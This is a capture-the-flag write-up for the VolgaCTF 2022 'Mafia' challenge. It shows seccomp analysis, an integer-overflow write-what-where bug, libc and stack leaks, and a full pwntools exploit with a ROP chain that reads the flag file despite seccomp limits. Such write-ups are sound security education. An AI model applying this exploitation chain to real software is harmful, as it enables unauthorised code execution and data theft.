# VolgaCTF 2022 Qualifier
## Mafia
> My friends and I decided to play some sports mafia this night! But is there any way to cheat in this game? Flag is in `/task/flag.txt`.>> `nc mafia.q.2022.volgactf.ru 1337`> > [`mafia`](mafia)  > [`ld.so`](ld.so)  > [`libc.so.6`](libc.so.6)  
Tags: _pwn_ _x86-64_ _seccomp_ _rop_ _write-what-where_ _integer-overflow_
## Summary
A filthy stack and integer overflow leads to a _write-what-where_ used to deploy a seccomp filtered ROP chain.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled```
All mitigations in place.
### Decompile with Ghidra
From `setup`:
```c  uVar1 = seccomp_init(0);  uVar2 = 0x101347;  seccomp_rule_add(uVar1,0x7fff0000,0xe7,0);  seccomp_rule_add(uVar1,0x7fff0000,0,1,in_R8,in_R9,0x400000000,0,0,uVar2);  seccomp_rule_add(uVar1,0x7fff0000,1,1,in_R8,in_R9,0x400000000,1,0);  seccomp_rule_add(uVar1,0x7fff0000,9,0);  seccomp_rule_add(uVar1,0x7fff0000,2,0);  seccomp_rule_add(uVar1,0x7fff0000,3,0);  seccomp_rule_add(uVar1,0x7fff0000,0xc,0);  seccomp_load(uVar1);  seccomp_release(uVar1);```
we have the following seccomp rules:
```bash# seccomp-tools dump ./mafia line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x13 0xc000003e  if (A != ARCH_X86_64) goto 0021 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x10 0xffffffff  if (A != 0xffffffff) goto 0021 0005: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0020 0006: 0x15 0x0d 0x00 0x00000003  if (A == close) goto 0020 0007: 0x15 0x0c 0x00 0x00000009  if (A == mmap) goto 0020 0008: 0x15 0x0b 0x00 0x0000000c  if (A == brk) goto 0020 0009: 0x15 0x0a 0x00 0x000000e7  if (A == exit_group) goto 0020 0010: 0x15 0x00 0x04 0x00000000  if (A != read) goto 0015 0011: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count) 0012: 0x15 0x00 0x08 0x00000000  if (A != 0x0) goto 0021 0013: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count) 0014: 0x15 0x05 0x06 0x00000000  if (A == 0x0) goto 0020 else goto 0021 0015: 0x15 0x00 0x05 0x00000001  if (A != write) goto 0021 0016: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # write(fd, buf, count) 0017: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0021 0018: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count) 0019: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0021 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0021: 0x06 0x00 0x00 0x00000000  return KILL```
We are limited to `read`, `write`, `open`, `close`, `mmap`, `brk`, and `exit_group` syscalls.
`open`/`read`/`write` is all we should need to get the flag, however starting at line `0012` the `read` syscall file descriptor (`fd`) is limited to `0` and only `0`.  `0` is usually reserved for `stdin` (FYI, FDs `0`, `1`, and `2` are all tied to `/dev/tty` and can all be used for tty input and output).  If we were to `open` `flag.txt`, we'd most likely end up with an `fd` of `3` since `0`, `1`, and `2` are in use.  This is where `close` comes in handy, we'll have to close `0` first so that on `open` the next `fd` is `0`.
> _Pssst..., if a CTF challenge blocks you with `close(1); close(2);`, you can get output with `write(0,...)`._
```c    if (uVar2 == 1) {      *(undefined8 *)(puVar5 + -8) = 0x10156c;      puts("Input desired size:");      *(undefined8 *)(puVar5 + -8) = 0x101587;      __isoc99_scanf(&%u,&local_e4);      local_dc = 4 - (local_e4 & 3);      if (local_e4 < 0x401) {        *(undefined8 *)(puVar5 + -8) = 0x1015bc;        puts("Input desired index:");        *(undefined8 *)(puVar5 + -8) = 0x1015d7;        __isoc99_scanf(&%u,&local_e0);        if ((local_e0 < 0x10) && (local_98[local_e0] == (char *)0x0)) {          *(undefined8 *)(puVar5 + -8) = 0x10160b;          puts("Your string:");          lVar4 = (((ulong)local_e4 + 0x17) / 0x10) * -0x10;          local_98[local_e0] = (char *)((ulong)(puVar5 + lVar4 + 0xf) & 0xfffffffffffffff0);          *(uint *)((long)local_d8 + (ulong)local_e0 * 4) = local_e4 - local_dc;          uVar2 = local_e4 - local_dc;          pcVar1 = local_98[local_e0];          *(undefined8 *)(puVar5 + lVar4 + -8) = 0x10169f;          read(0,pcVar1,(ulong)uVar2);          puVar5 = puVar5 + lVar4;        }      }    }```
The vuln is in the `if (uVar2 == 1) {` (`1. Add string`) block.  If you follow the code from top down, `local_e4` is the size of the string to be allocated (on the stack--more on this later).  If `local_e4` (`uint`) is `0`, then `local_dc` will be `4`.
The statement `*(uint *)((long)local_d8 + (ulong)local_e0 * 4) = local_e4 - local_dc;` is really just `local_d8[local_e0] = local_e4 - local_dc;`.  `local_d8` is an array of 32-bit ints (`uint`) that stores the length of the string indexed by `local_e0` (follow the code).  If `local_e4` is `0` and `local_dc` is 4, then we have an integer overflow and `local_e4` will be `-4`, but since `uint`, it's `+0xfffffffc`.  This will allow writes out of bounds on edit, however we do not need to wait, this same error is repeated with `uVar2 = local_e4 - local_dc;` and used as the length for the `read(0,pcVar1,(ulong)uVar2)` call, effectively allowing us to write down stack, and since the pointers to the strings are down stack, we can overwrite them with any address rendering a _write-what-where_.
But first we need some leaks.
This strange looking code:
```clVar4 = (((ulong)local_e4 + 0x17) / 0x10) * -0x10;```
is effectively `alloca`:
```assembly        0010160b 8b 85 24        MOV        EAX,dword ptr [RBP + local_e4]                 ff ff ff        00101611 89 c0           MOV        EAX,EAX        00101613 8b 8d 28        MOV        ECX,dword ptr [RBP + local_e0]                 ff ff ff        00101619 48 8d 50 08     LEA        RDX,[RAX + 0x8]        0010161d b8 10 00        MOV        EAX,0x10                 00 00        00101622 48 83 e8 01     SUB        RAX,0x1        00101626 48 01 d0        ADD        RAX,RDX        00101629 be 10 00        MOV        ESI,0x10                 00 00        0010162e ba 00 00        MOV        EDX,0x0                 00 00        00101633 48 f7 f6        DIV        RSI        00101636 48 6b c0 10     IMUL       RAX,RAX,0x10        0010163a 48 29 c4        SUB        RSP,RAX```
Do not concern yourself with the details, just notice the last statement, the stack has been grown by the inline C function `alloca`, and `RSP` is currently pointing to the new allocation; that same pointer is stored down stack in an array that can be overwritten.
This `alloca`'d space has not been initialized, left over on the stack are leaked stack, libc, and base process locations that can be easily exfiltrated with the `2. Edit string` and `3. Print string` functions.
The plan is simple:
1. Leak the location of libc.2. Leak the location of the stack, then compute the location of the return address on the stack.3. Use the zero-length string vuln (see above) to overwrite a pointer to a string and have it point to the return address on the stack.4. Write out a ROP chain.5. Profit.
### Getting offsets with GDB/GEF
If you want to read the code and compute all of this mathematically, then go for it, but for these `alloca` challenges I find it easier to just use GDB/GEF and look at the stack myself:
```gef➤  telescope 400x00007fffffffe280│+0x0000: 0x0000000000000000	 ← $rsp0x00007fffffffe288│+0x0008: 0x000055555555560b  →  <main+385> mov eax, DWORD PTR [rbp-0xdc]0x00007fffffffe290│+0x0010: 0x0000550a68616c62 ("blah\nU"?)	 ← $rax, $rdi0x00007fffffffe298│+0x0018: 0x00007ffff7e4476a  →  <puts+378> cmp eax, 0xffffffff0x00007fffffffe2a0│+0x0020: 0x00000000000000000x00007fffffffe2a8│+0x0028: 0x00007fffffffe3b0  →  0x00005555555557b0  →  <__libc_csu_init+0> push r150x00007fffffffe2b0│+0x0030: 0x0000555555555100  →  <_start+0> xor ebp, ebp0x00007fffffffe2b8│+0x0038: 0x00000000000000000x00007fffffffe2c0│+0x0040: 0x00000000000000000x00007fffffffe2c8│+0x0048: 0x000055555555560b  →  <main+385> mov eax, DWORD PTR [rbp-0xdc]0x00007fffffffe2d0│+0x0050: 0x00000000000000000x00007fffffffe2d8│+0x0058: 0x00000004000000000x00007fffffffe2e0│+0x0060: 0xfffffffc0000002c (","?)0x00007fffffffe2e8│+0x0068: 0x00000000000000000x00007fffffffe2f0│+0x0070: 0x00000000000000000x00007fffffffe2f8│+0x0078: 0x00000000000000000x00007fffffffe300│+0x0080: 0x00000000000000000x00007fffffffe308│+0x0088: 0x00000000000000000x00007fffffffe310│+0x0090: 0x00000000000000000x00007fffffffe318│+0x0098: 0x00000000000000000x00007fffffffe320│+0x00a0: 0x00007fffffffe290  →  0x0000550a68616c62 ("blah\nU"?)0x00007fffffffe328│+0x00a8: 0x00007fffffffe280  →  0x00000000000000000x00007fffffffe330│+0x00b0: 0x00000000000000000x00007fffffffe338│+0x00b8: 0x00000000000000000x00007fffffffe340│+0x00c0: 0x00000000000000000x00007fffffffe348│+0x00c8: 0x00000000000000000x00007fffffffe350│+0x00d0: 0x00000000000000000x00007fffffffe358│+0x00d8: 0x00000000000000000x00007fffffffe360│+0x00e0: 0x00000000000000000x00007fffffffe368│+0x00e8: 0x00000000000000000x00007fffffffe370│+0x00f0: 0x00000000000000000x00007fffffffe378│+0x00f8: 0x00000000000000000x00007fffffffe380│+0x0100: 0x00000000000000000x00007fffffffe388│+0x0108: 0x00000000000000000x00007fffffffe390│+0x0110: 0x00000000000000000x00007fffffffe398│+0x0118: 0x00000000000000000x00007fffffffe3a0│+0x0120: 0x00007fffffffe4a0  →  0x00000000000000010x00007fffffffe3a8│+0x0128: 0x7c84ce9d856c36000x00007fffffffe3b0│+0x0130: 0x00005555555557b0  →  <__libc_csu_init+0> push r15	 ← $rbp0x00007fffffffe3b8│+0x0138: 0x00007ffff7df4d0a  →  <__libc_start_main+234> mov edi, eax```
Above is what the stack looks like after setting a break point at `*main+740` (the `puts` in `3. Print string`), and then creating a string at index `0` of length `48` with contents `blah\n`, followed by a string at index `1` with a length of `0`.
> Why `48`?  I tested various sizes, the larger the allocation the more leaks in the stack, `48` gave me access to a stack and libc leak in close proximity to `$rsp`.
At line `+0x0060` you can observe the `uint` array of string lengths, including the `0xfffffffc` from the string length of `0`.  And starting at line `+0x00a0` is the array of pointers for to the `alloca` created strings on stack.
This dirty stack has everything we need to leverage our _write-what-where_; at `+0x0018` is a libc leak, and at `+0x0028` a stack leak.  If you look at the value of that leak, it is the same as `$rbp` (look at bottom of stack dump), add `8` to that and you have the stack address of the return address we are going to overwrite with our ROP chain.
**NOTE: different libc's will use the stack in different ways, so it is very important to use the challenge provided libc, e.g.:**
```bashcp mafia mafiappatchelf --set-interpreter $PWD/ld.so --set-rpath $PWD mafiap```
The above will make it easier to work with GDB/pwntools.
> It's not the only way, just the lazy way.
## Exploit
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./mafiap',checksec=False)libc = ELF('./libc.so.6',checksec=False)
if args.REMOTE:    p = remote('mafia.q.2022.volgactf.ru', 1337)else:    p = process(binary.path)```
Standard pwntools header.
```pythonp.sendlineafter(b'>> ',b'1')p.sendlineafter(b'size:\n',b'48')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',7 * b'A')p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'index:\n',b'0')p.recvline()libc.address = u64(p.recv(6) + b'\0\0') - libc.sym.puts - 378log.info('libc.address: {x}'.format(x = hex(libc.address)))```
The above will leak libc based on the stack diagram above (Analysis section).
> Index `0` string starts at `+0x0010` (see stack diagram above) with the leak at `+0x0018`, the difference is `8`, so send `8` bytes (e.g. above `7` + `\n` (`sendlineafter`)), then just `3. Print string`.
```pythonp.sendlineafter(b'>> ',b'2')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',23 * b'A')p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'index:\n',b'0')p.recvline()stack_leak = u64(p.recv(6) + b'\0\0')log.info('stack_leak: {x}'.format(x = hex(stack_leak)))return_address = stack_leak + 8log.info('return_address: {x}'.format(x = hex(return_address)))```
Same logic as the previous leak, but this time for the stack to then compute the location of the return address on the stack.  See Analysis section above.
```pythonp.sendlineafter(b'>> ',b'1')p.sendlineafter(b'size:\n',b'0')p.sendlineafter(b'index:\n',b'1')p.sendlineafter(b'string:\n',0xa0 * b'A' + p64(return_address))```
Use the index `1` string (the one with zero length), to overwrite the pointer to string `0` (`+0x00a0`) to point to the return address on the stack.
```pythonpop_rax = libc.search(asm('pop rax; ret')).__next__()pop_rdi = libc.search(asm('pop rdi; ret')).__next__()pop_rsi = libc.search(asm('pop rsi; ret')).__next__()pop_rax_rdx_rbx = libc.search(asm('pop rax; pop rdx; pop rbx; ret')).__next__()syscall = libc.search(asm('syscall; ret')).__next__()
flag_offset = 0x100payload = b''
# closepayload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rax)payload += p64(constants.SYS_close)payload += p64(syscall)
# openpayload += p64(pop_rdi)payload += p64(return_address + flag_offset)payload += p64(pop_rsi)payload += p64(0)payload += p64(pop_rax_rdx_rbx)payload += p64(constants.SYS_open)payload += p64(0)payload += p64(0)payload += p64(syscall)
# readpayload += p64(pop_rdi)payload += p64(0)payload += p64(pop_rsi)payload += p64(return_address + flag_offset)payload += p64(pop_rax_rdx_rbx)payload += p64(constants.SYS_read)payload += p64(100)payload += p64(0)payload += p64(syscall)
# writepayload += p64(pop_rdi)payload += p64(1)payload += p64(pop_rax)payload += p64(constants.SYS_write)payload += p64(syscall)
# static flag.txtpayload += (flag_offset - len(payload)) * b'A' + b'flag.txt\0'```
Create basic ROP chain:
1. `close` FD `0` so that it can be reused by `open` (see Analysis section above on seccomp rules).2. `open` `flag.txt` (stored down stack) as FD `0`.3. `read` FD `0`, and overwrite `flag.txt` on stack with `flag.txt` contents.  (The file is already open and tied to FD `0`; we no longer need this file name.  BTW, this works with file systems as well, if the file is open, you can still read from it even if removed, just get the FD from `/proc`).4. `write` to `stdout` the flag.5. Append to the end the text `flag.txt\0` for use by `open`.
```pythonp.sendlineafter(b'>> ',b'2')p.sendlineafter(b'index:\n',b'0')p.sendlineafter(b'string:\n',payload)p.sendlineafter(b'>> ',b'4')
flag = p.recvuntil(b'}').decode()p.close()print(flag)```
Just write out the ROP chain as the index 0 string, and exit to exploit.
> You may need to run a few times to get the flag.  See `exploit1a.py` below.
Output:
```bash# ./exploit.py REMOTE=1[+] Opening connection to mafia.q.2022.volgactf.ru on port 1337: Done[*] libc.address: 0x7f149db2c000[*] stack_leak: 0x7ffc1cbf56a0[*] return_address: 0x7ffc1cbf56a8[*] Closed connection to mafia.q.2022.volgactf.ru port 1337VolgaCTF{d0n7_y0u_try_70_ch347}```
## exploit1a
`exploit1a.py` adds some checks and will exit early if the stack leaks are garbage or if the stack is too high up in user space.
e.g.:
```[+] Starting local process '/pwd/datajerk/volgactf2022quals/mafia/mafiap': pid 43731[*] libc.address: 0x7f836ae82000[*] stack_leak: 0x6441202e310a[*] return_address: 0x6441202e3112[*] Stopped process '/pwd/datajerk/volgactf2022quals/mafia/mafiap' (pid 43731)[CRITICAL] this is not the stack leak you're looking for, try again```
```[+] Starting local process '/pwd/datajerk/volgactf2022quals/mafia/mafiap': pid 37709[*] libc.address: 0x7fef7b972000[*] stack_leak: 0x7fff631cdae0[*] return_address: 0x7fff631cdae8[*] Stopped process '/pwd/datajerk/volgactf2022quals/mafia/mafiap' (pid 37709)[CRITICAL] read beyond user-space: 0x8000631cdae4[CRITICAL] read syscall will fail, try again```
There's a ~1/3 chance of encountering one of these errors.
> If you were using GDB or had disabled ASLR you would have failed 100% of the time because the stack is at the top of user space.
## exploit2
`exploit2.py` explores the other route, `mmap`.  See the comments in the code.